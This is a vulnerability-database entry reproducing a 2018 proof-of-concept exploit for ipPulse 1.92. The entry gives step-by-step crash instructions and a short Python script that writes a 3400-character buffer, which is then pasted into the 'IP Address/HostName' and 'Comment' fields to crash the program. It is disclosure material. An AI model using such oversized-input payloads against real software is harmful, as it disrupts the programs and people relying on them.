发布 2018-07-30 漏洞条目

ipPulse 1.92 – ‘IP Address/HostName-Comment’ Denial of Service (PoC)

Exploit Source

# Exploit Title: ipPulse 1.92 - 'IP Address/HostName-Comment' Denial of Service (PoC)

# Discovery by: Luis Martinez

# Discovery Date: 2018-07-27

# Vendor Homepage: https://www.netscantools.com/ippulseinfo.html

# Software Link : http://download.netscantools.com/ipls192.zip

# Tested Version: 1.92

# Vulnerability Type: Denial of Service (DoS) Local

# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash:

# 1.- Run python code : python ipPulse_1.92.py

# 2.- Open ipPulse_1.92.txt and copy content to clipboard

# 3.- Open ippulse.exe

# 4.- Target Editor

# 5.- Paste ClipBoard on "IP Address/HostName"

# 6.- Paste ClipBoard on "Comment"

# 7.- Add Above Fields to Target List >>

# 8.- OK

# 9.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 3400

f = open ("ipPulse_1.92.txt", "w")

f.write(buffer)

f.close()

相关漏洞条目